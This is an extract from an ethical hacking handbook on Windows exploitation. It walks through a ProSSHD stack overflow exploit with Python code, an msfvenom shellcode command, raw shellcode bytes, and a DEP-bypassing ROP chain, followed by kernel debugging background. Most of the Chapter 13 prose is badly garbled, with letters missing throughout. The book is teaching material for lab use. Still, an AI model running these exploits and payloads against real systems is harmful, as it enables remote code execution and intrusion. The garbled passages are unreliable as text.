500 by o p o SCP (Su Copy Pooo) GET ommd.
PART III
A po, w w up vub PoSSHD v1. v o VMw u
vu m (VM) u Wdow 10 x64 0H Ep. You my oo o
u d vo o Wdow w. E vo o Wdow u Immu-
y Dbu my podu y d u; owv, xpo ud
p b d o mup vo o Wdow. W w u VMw
bu ow u o , op, d ou vu m mu quk
boo.
Id vu m, dowod d PoSSHD ppo u
dowod opo oow k: p://www.xpo-db.om/xpo/1161.
A uu o u “yp” opo, up xwp.x
pom om o doy (o xmp, o oud b C:\
U\Pub\Pom F (x6)\Lb-NC\PoSSHD\xwp.x). O pom
d, k Ru d Ru x ( ow x). You o my d o k
Aow Coo you w pop up. I ow xpd, you my d o
boo you vu m o u o opo o m uomy bu
Gray Hat Hacking: The Ethical Hacker’s Handbook
260
vo o PoSSHD o o uppod, w my pom o-
vub.
NOTE If Data Execution Prevention (DEP) is running for all programs and
services on your target virtual machine, you will need to set up an exception
for ProSSHD for the time being. The fastest way to check is by holding
the Windows key and pressing break from your keyboard to bring up the
System Control Panel. On the left side of the control panel, click Advanced
System Settings. In the pop-up menu, click Settings in the Performance
area. Click the right pane titled Data Execution Prevention. If the option
“Turn on DEP for all programs and services except those I select” is the one
already selected, you will need to put in an exception for the wsshd.exe and
xwpsshd.exe programs. Simply click Add, select those two EXEs from the
ProSSHD folder, and you’re done!
Now SSH v u, you d o dm ym’ IP dd
d u SSH o o o om you K Lux m. I ou ,
vu m u PoSSHD od 1.16.0.1. You w d o
u o Wdow w om Admv ommd w
ommd NetSh Advfirewall set allprofiles state off o mpy dd u o ow TCP
po boud o SSH.
A po, vub ppo d dbu u o vu-
b v, bu y o d y, o ud you v o
VMw vu m by po. A po omp, you my
u o po by mpy v o po. T k w v you vub
m bu you kp pvou up d boo o ubqu -
o o .
PART III
from contextlib import closing
from time import sleep
import struct
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
req = "A" * 500
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.connect(hostname, username=username, key_filename=None,
password=password)
sleep(15)
T p w b u om you k o, pod (u
VMw).
I u ou vuby x d po, wd.x,
oy x w v oo o v. To, w w d o
u xpo d quky dbu o ou ou y. T
wy sleep() uo b ud w um o 15 od, v u m
o . Id VMw m, you my dbu o vub
pom by oo F | A. S wd.x po d k A
buo o dbu.
Gray Hat Hacking: The Ethical Hacker’s Handbook
262
NOTE It may be helpful to sort the Attach screen by the Name column to
quickly find the process. If you need more time to attach, you may increase
the number of seconds passed as an argument to the sleep() function.
H o! Lu k p om K w oow ommd d
quky w o VMw d Immuy Dbu o wd.x:
#python3 prosshd1.py
O dbu d od po, p f o “ou” pom.
A po, xpo oud b dvd d ow- o o
dbu oud u yow d y “Pud.” Dpd o Wdow vo you
u , dbu my qu you o p f pu.
To, you do o 0x41414141 EIP , ow x, p f o
mo. I o uu o p you k wdow poo b you o vw
ow- o o dbu o w dbu pu.
A you , w v oo o EIP, w ow od 0x41414141.
w w 500-by p, o w od d w you od
Mo o w oupu. Ck you C:\y\mo_o\ doy o w od,
ky d wsshd. I doy oud b w d p.x. T
om w you w o opy d p. A Mo you, do o opy
p om Immuy Dbu’ o wdow bu my b ud.
Sv w opy o pod1.py k p o you K Lux vu m
( xmp u m pod.py). Copy ASCII p om p.x
PART III
d req o ud , oow:
# prosshd2.py
…truncated…
req =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6
Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai
1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8
Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5A
n6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A
q3Aq4Aq5Aq"
…truncated…
NOTE The pattern, when copied, will be a very long line. We have formatted
the line shown here so that it will fit on the printed page.
Ru w p om you K Lux m wdow w python3 prosshd2.py.
T u ow x.
Gray Hat Hacking: The Ethical Hacker’s Handbook
264
T m, xpd, dbu xpo d EIP o vu
o poo o p (41347141). Ao, o Exdd Sk Po
(ESP) po o poo o p.
U p o ommd Mo o dm o o EIP, ow :
You 4 by o bu, w ovw u po om
by 43 o 46 w 41347141. T vb w ook Sk o o
Immuy Dbu. T, 4 by , by 46, o bu b
oud op o k pom . T Mpo p o oo
w ju ud w Mo ow o before p .
PART III
A you om mp o Mo’ oupu, modu MSVCR71.d o
pod by mjoy o vb xpo-mo oo. Mo mpoy,
o b bd d o pp ASLR. T m w d ou
dd opod, dd oud b b ou xpo, byp ASLR!
W w ow ou o u Mo pu- om P V Ekou
(k o0d3) d Co Tm. T m w w u o d ou dd
opod om MSVCR71.DLL. Ru oow ommd:
!mona jmp –r esp –m msvcr71.dll
T jmp um ud o py yp o uo o w w w o
. T um –r ow u o py o w ’ dd w woud k
o jump d xu od. T –m um opo d ow u o py o
w modu w woud k o . W oo MSVCR71.d, pvouy
ovd. A ommd xud, w od oud b d C:\y\
mo_o\wd. I od d jmp.x. W vw o, w
oow:
0x7c345c30 : push esp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVCR71.dll]
ASLR: False, Rebase: False, SafeSEH: True, OS: False
(C:\Users\Public\Program Files\Lab-NC\ProSSHD\MSVCR71.dll)
T dd 0x734530 ow uo push esp # ret. T uy
wo p uo. T push esp uo pu dd w ESP
uy po oo k, d ret uo u EIP o u o
dd, xu w uo. I you k wy DEP
w d, you o.
NOTE This attack vector will not always work for you. You will have to look at
registers and work with what you’ve got. For example, you may have to use
jmp eax or jmp esi.
Gray Hat Hacking: The Ethical Hacker’s Handbook
266
Bo xpo, you my w o dm mou o k p
vb w o p od, py od you p o u
. I o ou p vb, v woud b o u mud
od o o p o ddo . O, quk wy o dm
mou o vb p o ow o o A’ pom d muy
p k pom . You dm vb p by
k k o o dbu d o dow o
boom o k d dm w A’ d. T, mpy ub
po o you A’ om d po o you A’. T my o b mo
u d wy o dm mou o vb p, bu ’ o
u ou d o mod.
W dy o om od o u w poo-o-op xpo. U
Mpo ommd- pyod o o you K Lux vu m:
$ msfvenom -p windows/exec CMD=calc.exe -b “\x00” -f py > sc.txt
Tk oupu o pd ommd d dd o k p (o
w w vb m om buf o sc). W xud “\x00” by
bu u by ypy pobm. T pm d sanitize d
o p.py modu. By du, vu by uo d _sh_quote,
w u ou wppd quo. T ky poo od
o pv ommd jo vub. You w o upom od
w sanitize o qu mbd uo mpy u m vu.
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
sc = b""
sc += b"\xb8\x7f\x28\xcf\xda\xdb\xda\xd9\x74\x24\xf4\x5d\x33"
sc += b"\xc9\xb1\x31\x83\xc5\x04\x31\x45\x0f\x03\x45\x70\xca"
sc += b"\x3a\x26\x66\x88\xc5\xd7\x76\xed\x4c\x32\x47\x2d\x2a"
sc += b"\x36\xf7\x9d\x38\x1a\xfb\x56\x6c\x8f\x88\x1b\xb9\xa0"
sc += b"\x39\x91\x9f\x8f\xba\x8a\xdc\x8e\x38\xd1\x30\x71\x01"
sc += b"\x1a\x45\x70\x46\x47\xa4\x20\x1f\x03\x1b\xd5\x14\x59"
sc += b"\xa0\x5e\x66\x4f\xa0\x83\x3e\x6e\x81\x15\x35\x29\x01"
Chapter 13: Basic Windows Exploitation
267
sc += b"\x97\x9a\x41\x08\x8f\xff\x6c\xc2\x24\xcb\x1b\xd5\xec"
sc += b"\x02\xe3\x7a\xd1\xab\x16\x82\x15\x0b\xc9\xf1\x6f\x68"
sc += b"\x74\x02\xb4\x13\xa2\x87\x2f\xb3\x21\x3f\x94\x42\xe5"
sc += b"\xa6\x5f\x48\x42\xac\x38\x4c\x55\x61\x33\x68\xde\x84"
sc += b"\x94\xf9\xa4\xa2\x30\xa2\x7f\xca\x61\x0e\xd1\xf3\x72"
sc += b"\xf1\x8e\x51\xf8\x1f\xda\xeb\xa3\x75\x1d\x79\xde\x3b"
sc += b"\x1d\x81\xe1\x6b\x76\xb0\x6a\xe4\x01\x4d\xb9\x41\xfd"
sc += b"\x07\xe0\xe3\x96\xc1\x70\xb6\xfa\xf1\xae\xf4\x02\x72"
sc += b"\x5b\x84\xf0\x6a\x2e\x81\xbd\x2c\xc2\xfb\xae\xd8\xe4"
sc += b"\xa8\xcf\xc8\x86\x2f\x5c\x90\x66\xca\xe4\x33\x77"
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.connect(hostname, username=username, key_filename=None,
password=password)
PART III
sleep(15) #Sleep 15 seconds to allow time for debugger connect
Ao, dd d EIP d ESP oo o o o (w vy
ommo od o k), u NOP ood wy o pv o-
upo. Bu , mp k dju o pvo uo m do k
w. Smpy ppd od w opod by (o xmp, add esp,-450).
T Mpo mb my b ud o povd qud uo x,
ow :
┌──(kali kali)-[~/Desktop]
└─$ /usr/share/metasploit-framework/tools/exploit/metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
I you pom d o bkpo, you v
bd you od o o you p. Bd u
pp om m o m bu vub pom (o SCP pom,
) my o d u you xpo o bo o b o-
w modd.
To d bd , you w d o ook mmoy dump o dbu
d m mmoy dump w u od you o wok.
To up po, you d o v o vu ym d d k
p. W xpo d, k k o d o dow
u you A’. Cou o dow o d you od d pom
mu ompo. Ao mp wy o o bd by d
pob ombo o by quy you pu. You um
0x00 bd , o you woud om k :
buf = "\x01\x02\x03\x04\x05\...\...\xFF" #Truncated for space
NOTE You may have to repeat this process of looking for bad characters
many times until your code executes properly. In general, you will want to
exclude all whitespace characters: 0x00, 0x20, 0x0a, 0x0d, 0x1b, 0x0b, and
0x0c. You would exclude one character at a time until all the expected bytes
appear in the stack segment.
O wok popy, you oud bkpo you o u-
o PUSH ESP d RETN. P f7 o -p. T uo po oud ow
b po o you NOP pdd. T o d o pdd oud b vb
dmb o, ow :
Chapter 13: Basic Windows Exploitation
269
PART III
P f9 o xuo ou. A uo oud pp o ,
ow x, u dmo od xuo ou wok xpo! W v ow
dmod b Wdow xpo-dvopm po o -wod xpo.
I b, w ook vub Wdow ppo d wo wok xpo
o ompom ym. T o w o mpov you my w Immuy
Dbu d Mo pu- om Co Tm, w o y ou b
qu ommoy ud by xpo dvop o uuy ompom pp-
o. By dy modu w o pp vou xpo-mo
oo, u ASLR, w w b o u m o v b xpo. Com up
x, w w k o ook vou mmoy poo d byp qu.
Gray Hat Hacking: The Ethical Hacker’s Handbook
270
Understanding Structured Exception Handling
W pom , op ym povd mm d Suud
Expo Hd (SEH) o y o ov opo. T o mpmd
ou od w y/ o y/xpo bok:
int foo(void){
__try{
// An exception may occur here
}
__except( EXCEPTION_EXECUTE_HANDLER ){
// This handles the exception
}
return 0;
I p, k oud ju ovw o o xpo d o
k d d oo o k’ od (o k). Howv, w
d:
saved EBP
Stack
saved EIP
func1( ) frame
parameters
exc_handler_1( ) prev
handler
handler
PART III
main( )
MSVCRT!exhandler 0xFFFFFFFF
T SEH b bu, om, v ou you
my b ovw u po o k, xuo v u
uo. T ommoy du o d o w voo pp po o
uo po, ud by umb o you o
bu v ovw d. I , u dow k p bu-
oo o SEH o d. T d o w voo w
u FS:[0] o dd, w od po o d’ k dd w
“Nx SEH” (NSEH) vu od. T FS m wy po o
Td Iomo Bok (TIB) o uy v d. T TIB p-d
ud uu od d u po o b o SEH o
d FS:[0], k m, d po o Po Evom Bok (PEB)
FS:[0x30]. Dy bow NSEH poo o k dd o
d o b d. Ovw dd w uom dd o y wy
o oo you ub o v u po ovw. SSEH m o op
qu om wok, bu you w , y bypd.
• I u xpo od od o k o u d.
• I u d po do o po bk o k.
• I u d d uozd o d.
• I u d m o mmoy xub.
So, you , SSEH poo mm k p o po xpo
d, bu you w b, o oopoo.
Bypassing SafeSEH
A pvouy dud, w xpo d, op ym p
except_handler uo o k d , ow Fu 13-3.
F, o w xpo dd, _EstablisherFrame po
od ESP+. T _EstablisherFrame po uy po o op o ou
xpo d . To, w _next po o ou ovw
xpo od o mby uo EB 06 90 90 (w w jump owd
6 by), d w _handler po o omw d DLL/EXE,
POP/POP/RETN qu, w d oo o pom o ou k
od o k. W xpo dd by op ym,
d w b d, w w dd pop by o k d xu
uo pod o ESP+ (w ou JMP 06 ommd), d oo w
b dd o k od o k, w od my b pd.
NOTE In this case, we needed to jump forward only 6 bytes to clear the
following address and the 2 bytes of the jump instruction. Sometimes, due
to space constraints, a jump backward on the stack may be needed; in that
case, a negative number may be used to jump backward (for example, EB FA
FF FF will jump backward 6 bytes).
Stack
_ExceptionRecord
ESP+8 _EstablisherFrame
_ContextRecord
pop X
pop X 0x909006eb
ret
_handler
Attacker Code
Return-Oriented Programming
So, w w do w ’ xu od o k? Exu w? Bu
w? I x kd modu my m qu o od d w
RETN uo. T qu o od my o my o v b xud by
pom. Im w v oo o po v bu ovow. I w y ou
o po o dd od qu, pod o by k po, d
u o o m uo, w m oo o po d v
do ou bdd. T d return-oriented programming d w pod by Hovv
Sm. I uo o qu u b. W u d o
up o uo o pmo mmoy w ou od d,
ow u o oud DEP.
Gadgets
T m o o od mod pvou o w w gadgets.
T wod code ud bu do o d o b uo ud by po-
m o modu; you my jump o dd mdd o dd uo,
o yw xub mmoy, o pom k you ook
o pom d u xuo o x d pod o by k po. T
oow xmp ow dd uo ud d o d.d mmoy
dd 0x77773E:
778773E2 890424 MOV DWORD PTR SS:[ESP],EAX
778773E5 C3 RETN
PART III
I xmp, w d o v EAX zod ou, oowd by u.
Uouy, POP EDI uo bw. To omp o , w
mpy dd 4 by o pdd oo k o do’ pop dd o
ou x d o EDI. I EDI om w d , d my o
b ub. L’ pd uwd uo d b od,
d o w omp by dd pdd oo k. Now, ook oow-
xmp:
XOR EAX, EAX
POP EAX
RETN
I xmp, w mpy d POP EDI o POP EAX. I ou o o zo
ou EAX , uwd POP EAX woud mk d uub.
T o yp o uwd uo, om o w b qu
o ov, u mmoy dd b d o mppd.
T xuo o ommd u o o v , ud
oow:
Mo o bou uo d pm b oud Mo u p.
T rop ommd w k w o u d w podu oupu o
wv od you d w Mo u !mona config -set workingfolder
<PATH>/%p ommd. T o o vy vbo op.x w ud
u :
Interesting gadgets
-------------------
0x7c35a002 : # ADD EAX,ECX # RETN ** [MSVCR71.dll]**|{PAGE_EXECUTE_READ}
0x7c34e03f : # POP ESI # RETN ** [MSVCR71.dll] ** |{PAGE_EXECUTE_READ}
0x7c35a040 : # MOV EAX,ECX # RETN ** [MSVCR71.dll] **|{PAGE_EXECUTE_READ}
0x7c34c048 : # DEC ECX # RETN ** [MSVCR71.dll] ** |{PAGE_EXECUTE_READ}
…
Fom oupu, you my o d o pom k d, bud-
um o VirtualProtect() d . I o qu mp
oud; you v o wok w w you v vb. You my v o v.
T oow od, w u PoSSHD pom, dmo wok
ROP VirtualProtect() o mody pmo w od
od o k, o bom xub. DEP b ud bk o o
wd.x. T p b md pod_dp.py.
#prosshd_dep.py
import paramiko
from scp import *
from contextlib import closing
from time import sleep
import struct
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
PART III
sc += b"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69"
# ROP chain generated by Mona.py, along with fixes to deal with alignment.
rop = struct.pack('<L',0x7c349614) # RETN, skip 4 bytes [MSVCR71.dll]
rop += struct.pack('<L',0x7c34728e) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xfffffcdf) # Value to add to EBP,
rop += struct.pack('<L',0x7c1B451A) # ADD EBP,EAX # RETN
rop += struct.pack('<L',0x7c34728e) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xfffffdff) # Value to negate to 0x00000201
rop += struct.pack('<L',0x7c353c73) # NEG EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c34373a) # POP EBX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # INC EBX #FPATAN #RETN MSVCR71.dll
rop += struct.pack('<L',0x7c352174) # ADD EBX,EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c344efe) # POP EDX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xffffffc0) # Value to negate to0x00000040
rop += struct.pack('<L',0x7c351eb1) # NEG EDX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c36ba51) # POP ECX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c38f2f4) # &Writable location [MSVCR71.dll]
rop += struct.pack('<L',0x7c34a490) # POP EDI # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c346c0b) # RETN (ROP NOP) [MSVCR71.dll]
rop += struct.pack('<L',0x7c352dda) # POP ESI # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c3415a2) # JMP [EAX] [MSVCR71.dll]
rop += struct.pack('<L',0x7c34d060) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c37a151) # ptr to &VirtualProtect()
rop += struct.pack('<L',0x7c378c81) # PUSHAD # … # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c345c30) # &push esp # RET [MSVCR71.dll]
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.connect(hostname, username=username, key_filename=None, password=password)
sleep(1)
with SCPClient(ssh_client.get_transport(), sanitize=lambda x:x) as scp:
scp.put(scp, req+rop+nop+sc)
Aou oow pom my pp o b du , w you z
ju o po o o kd modu o vub u-
o, oowd by RETN uo mpy u x d, you
Gray Hat Hacking: The Ethical Hacker’s Handbook
278
mod o md. T om d o od vu (p-
p o o VirtualProtect). T o d o omp o vou
u o u o um odd o ppop . W
u ROP d by Mo, uo dmd w d
popy, o VirtualProtect() uuy md; owv, upo u om
SYSEXIT ou o Ring0, w u oo dow k d o mdd
o ou od. To omp o , om d w muy ddd o u
EBP po o ou NOP d. O oud pd m o up w
po o o mu pdd o y; owv, m o b p
o o k. A ROP you my ook vy d om o ow
xmp.
I oow od, w popp vu 0xd o EAX. W
ddd o dd EBP po o ou od, w o ov ^3 d
po o ou NOP d.
rop += struct.pack('<L',0x7c34728e) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xfffffcdf) # Value to add to EBP,
rop += struct.pack('<L',0x7c1B451A) # ADD EBP,EAX # RETN
To u , you d o do om b m o u EBP po o
oo d NOP d. T uo pom ddo. To dmo-
bo d , k ook oow m.
I m, pom pud bo djum o EBP. A you
, EBP po o mdd o od. T x m ow dd o
w EBP po djum b md.
Chapter 13: Basic Windows Exploitation
279
PART III
A you , EBP po o ou NOP d, ju bo od. T od
ud xpo, d w Mpo, bd o po TCP 31337. W
xpo owd o ou, od uuy xud d po
op, ow w w pomp.
Gray Hat Hacking: The Ethical Hacker’s Handbook
280
Summary
T qu ow p oud you up d u w b o
Wdow xpoo v k ovow w byp mp xpo mo
u SSEH d DEP. A you v , vou poo Moo
op ym, dpd o omp opo d d o o. W
poo om w o k o ovom, u -d-
mou m. Poo u o od by Expo Gud p op d
xpo, bu dud, kd k uomz xpo o vd my o
oo.
References
1. NETMARKETSHARE, “Op Sym Mk S by Vo,” p://
mk.om/op-ym-mk-.px (d My 5, 01).
2. k, “Hoy d Adv Wdow Sod,” Phrack 6, Ju , 004,
pk.o/u/6/7.m.
3. M Pk, “A C Cou o Dp o W3 Suud Expo
Hd,” MSDN, Juy 17, p://bypo.om/ou/pk_
_ou_dp_o_w3_.m.
Windows Kernel
Exploitation
CHAPTER
14
In this chapter, we cover the following topics:
• The Windows kernel
• Kernel drivers
• Kernel debugging
• Kernel exploitation
• Token stealing
The Windows kernel and writing kernel eploits are massive topics individually; it takes
years to learn kernel internals and then how to apply that knowledge properly to eploit
security flaws. These flaws can be found not only in the kernel itself but also in etensions
known as drivers. In this chapter, we will take a look at how to set up kernel debugging
between two Windows systems, reverse engineer a kernel driver, and then eploit that
kernel driver to elevate our privileges.
281
Gray Hat Hacking: The Ethical Hacker’s Handbook
282
are DLLs instead, such as hal.dll and ci.dll. A .sys file is a Portable Eecutable file just
like an EXE or DLL.
The following system diagram shows the general architecture layout of a Windows
system.
Hardware
HAL Graphics
Pico
Drivers Kernel Drivers
Providers
GDI/USER
Executive
System Service Dispatcher
ntdll.dll win32u.dll
Pico Minimal
Processes Processes Subsystem DLLs
Environment
Applications Services System Processes Subsystems
Starting from the bottom, there are user-mode applications and services that either are
run on top of the Windows subsystem (kernel32.dll, user32.dll, and so on), are built for
the native API directly (ntdll.dll and win32u.dll), or are run as minimal/pico processes
and talk directly to the kernel via the System Service Dispatcher. The System Service
Dispatcher (aka the system call handler) takes requests from user mode and dispatches
them to the kernel. Crossing over the line, you should notice that the addresses go from
lower in user mode to much higher in kernel mode. Memory is segmented like this
due to historical and processor-specific reasons. It just so happens there are two distinct
canonical memory spaces with a large non-canonical gap in the middle to divide memory
belonging to kernel space (ring 0) and user space (ring 3). On the kernel-mode side lives
the kernel layer, eecutive layer, and drivers, as previously mentioned. Some drivers, such
as graphics drivers, may talk directly to the hardware, while others will use the Hardware
Abstraction Layer (HAL). The HAL is an architecture- and platform-agnostic library
for interacting with hardware. As of recent versions of Windows 10 (20H1+), the HAL
is implemented inside of the kernel image, and hal.dll is just a forwarding DLL that is
still around for compatibility reasons. Don’t worry if that is a lot to digest, as it is just an
overview of the components of a Windows system.
Kernel Drivers
Kernel drivers are etensions to the kernel that can help the system interact with previ-
ously unknown devices or file systems, provide an interface for kernel introspection
to user mode, and modify how the kernel functions. The latter is discouraged heavily
by Microsoft, so much so that the company introduced Kernel Patch Protection (aka
PatchGuard) to prevent developers from tampering with core system routines and data
structures. Kernel drivers known as boot drivers are loaded at boot by the bootloader.
Other drivers are loaded by the service manager once the system is booted. Only admin-
istrators or those with the SeLoadDriverPrivilege can load drivers on a Windows system.
Chapter 14: Windows Kernel Exploitation
283
Microsoft does not consider the boundary between system administrator and the kernel
a security boundary since administrators can just load (nearly) arbitrary drivers anyway.
However, drivers must have an acceptable digital signature in order to be loaded since
kernel-mode code signing (KMCS) is enforced by default on all 64-bit machines.
A driver can provide input/output (I/O) routines in the form of major functions. The
Windows Driver Kit (WDK) defines 28 major functions, including create, close, power,
I/O control, read, write, query information, set information, and shut down. Handlers
for each major function are set inside of a driver’s _DRIVER_OBJECT structure when
the driver is initialized. This structure contains various information about the driver,
such as the name of the driver, a linked list of devices associated with the driver, an
optional unload routine that is called when a driver unload is requested, and the memory
bounds of the driver (start and size). A driver can create associated _DEVICE_OBJECT
structures that represent a device for which the driver is responsible. Devices may or
may not be backed by actual hardware. An eample of a non-hardware-backed driver is
PART III
the one Sysinternal Process Eplorer uses to get additional information about the sys-
tem. In the case of Process Eplorer, a Microsoft signed driver is loaded when the tool
starts, and user-mode APIs are used to communicate with it. The driver creates a user-
mode accessible device object and services requests from user mode via the I/O system
in the kernel. The kernel’s I/O system dispatches requests to the major function han-
dler routine defined in the _DRIVER_OBJECT to which the device belongs. Major
function codes are constant integer values defined in the WDK headers. Their symbol
names all begin with IRP_MJ_, and they are indices into the major function array of
the _DRIVER_OBJECT starting at 070. Major function handlers are also called driver
dispatch routines and have the following prototype:1
NTSTATUS DriverDispatch(
_DEVICE_OBJECT *DeviceObject,
_IRP *Irp
)
{...}
An I/O Request Packet (IRP) describes an I/O request to the device. It has many fields
that will become important as you work through the lab later in the chapter. A few nota-
ble ones include the AssociatedIrp.SystemBuffer field, which often includes the input
and/or output buffer for the request, and the Tail.Overlay.CurrentStackLocation field,
which contains information about the request relevant to the specific device being called.
Important information in the CurrentStackLocation (_IO_STACK_LOCATION)
includes the MajorFunction field, which is the current major function being requested,
and the Parameters field, which is a massive union that contains different informa-
tion depending on the major function being called. In the case of a device I/O control,
the MajorFunction will be IRP_MJ_DEVICE_CONTROL (14), and the Parameters
field will describe the I/O Control (IOCTL) code being called and the input and out-
put buffer sizes. For most IOCTL calls, the input and/or output buffer will be in the
AssociatedIrp.SystemBuffer field of the _IRP. For more information on IOCTL codes,
see the Windows Documentation.
Gray Hat Hacking: The Ethical Hacker’s Handbook
284
In the labs in this chapter, you will reverse engineer and debug a kernel driver to locate
a device it creates, determine the major function handler(s) that are registered, learn how
to call into the major function handlers from user mode, and ultimately write an eploit
to perform Local Privilege Escalation (LPE).
Kernel Debugging
A user-land (ring 3) debugger is only capable of debugging individual programs that
run on top of the kernel. A kernel-land (ring 0) debugger is required to debug the
kernel. Kernel debugging is usually done between two systems: one runs the debugger,
and the other is the system being debugged. Two systems are needed because, unlike
suspending a single program in a ring 3 debugger, stopping the whole kernel would
prevent you from interacting with the system to run commands or resume it! There
is one eception known as “local” kernel debugging, which allows the convenience of
debugging the currently running system’s kernel. The main drawback of local kernel
debugging is that you can’t halt the running system, meaning you can’t set or inject any
breakpoints or debug on a crash, and since the system is constantly running, values in
memory might be changing rapidly.
The only officially supported (and thus recommended) ring 0 debugger for Windows
is WinDbg, which is usually pronounced either win-dee-bee-gee, wind-bag, or win-dee-
bug. It is developed and maintained by Microsoft and included as part of develop-
ment tools bundles. WinDbg offers a number of different transports over which to
debug the kernel. Network debugging is the most reliable, efficient, and consistent
setup for kernel debugging. WinDbg can be obtained by installing the Windows SDK,
WDK, or from the Microsoft Store as WinDbg Preview. The newer WinDbg Preview
is the same WinDbg, but with a metro-like interface. The labs in this section will use
WinDbg Preview. If you’re more of a commandline fan, you can use kd.ee to connect
to the target system. It is included alongside WinDbg in the SDK and WDK. All varia-
tions of WinDbg are backed by the DbgEng, which makes up the core functionality
of WinDbg. Microsoft includes header files and libraries to interact with the DbgEng
in the Windows SDK so that developers can write tools that use the library that backs
WinDbg programmatically.
To get started, you are going to need two Windows 10 VMs and your virtualization soft-
ware of choice (VMware, VirtualBo, Parallels, and so on). You can also use Windows 11
if you have a copy, as the process and results should be the same. If you have a Windows
license and VMs already set up, then great! If you do not have any Windows 10 VMs
at all, then you have a few options: download a Windows 10 ISO from Microsoft and
use a trial copy of Windows or head to the Windows developer resources and download
the legacy Internet Eplorer Development VM. Check out the “For Further Reading”
section for links. The latter is still provided by Microsoft at the time of writing, though
that may be subject to change!
Chapter 14: Windows Kernel Exploitation
285
NOTE These test VMs are acceptable for lab use, but if you’re going to
use Windows as your OS or commercially, you need to buy a license.
Stealing is bad!
Once you have one Windows 10 VM set up to your liking, create a full or linked
clone. One VM will be the debugger machine on which you will install WinDbg,
and the other will be the debug target. WinDbg Preview can be installed from the
Microsoft Store and WinDbg Classic can be installed from the Windows SDK.
To install WinDbg Classic, download the Windows SDK and select Debugging Tools
for Windows in the installer.
Once any necessary installs have finished, enable network kernel debugging by using
bcdedit from an administrator shell on the target VM:
PART III
PS C:\WINDOWS\system32> bcdedit.exe /debug on
The operation completed successfully.
PS C:\WINDOWS\system32> bcdedit.exe /dbgsettings net hostip:1.1.1.1 port:50000
Key=jz2h8ly1cbrc.2j4hzt8k2wxmj.10wxsohgi27lk.2tm20duy53h5i
The hostip can be set to anything if you are connecting via WinDbg Preview or
specify the target variable in the WinDbg Classic connection string; otherwise, set it to
the IP of the debugger VM. Copy the returned key over to your debugger machine, as
you will need it to connect remotely. Reboot the target VM to boot into debug mode.
Connect WinDbg Preview by going to File | Attach to kernel and then entering the
required information on the Net tab. For WinDbg Classic or kd.ee, use the -k flag on
the command line and enter this connection string, replacing the values in angle brackets
with values specific to your environment:
windbg.exe -k tcp:target=<target IP>,port=<target port>,key=<key from bcdedit>
Picking a Target
One of the most burning and pertinent questions in all of vulnerability research is “how
do I pick a target?” While we may not be able to answer that question, it is worth ponder-
ing as it relates to the current topic. If you were looking to get into Windows kernel and
kernel driver eploitation, where do you start? Starting with trying to find vulnerabilities
in the kernel itself or Microsoft-developed drivers might be a bit difficult or discouraging.
Gray Hat Hacking: The Ethical Hacker’s Handbook
286
One easier and more approachable starting point is known-vulnerable drivers. Microsoft
used to have a much less rigorous process to sign a driver. Nowadays, Microsoft requires
driver developers to submit their drivers to a portal to get a Windows Hardware Quality
Labs (WHQL) Release signature.2 Microsoft used to issue Software Publisher Certificates
(SPCs) so that third parties could sign their own drivers before publishing; they discon-
tinued the program after several of the certificates were leaked, and some publishers were
signing poorly designed or intentionally security la drivers. Some of these SPC signed
drivers are still being widely distributed, as you will see in this section.
In August 2019 at DEFCON 27, researchers from Eclypsium Labs showcased a
number of drivers with vulnerabilities, highlighting this particular issue.3 At the time
of writing there are 39 drivers in their list that allow operations such as arbitrary virtual
and physical read and write, arbitrary read-write-eecute kernel memory allocation, and
arbitrary model-specific register (MSR) read and write. These features are not inherently
vulnerabilities because privileged applications such as BIOS updaters need to use them
to function properly, but access required to utilize them is what matters here. These driv-
ers are accessible from user mode by any permission level on the system. In some cases,
even processes running as low or untrusted integrity can call into them. This means that
anyone with code-eecution could potentially elevate their permissions to SYSTEM or
kernel. Drivers created with the legacy Windows Driver Model (WDM) have open access
permissions by default. ACLs can be set via the Windows API or in the registry entry
for the driver; however, the developers of these drivers failed to do either, thus eposing
privileged functionality.
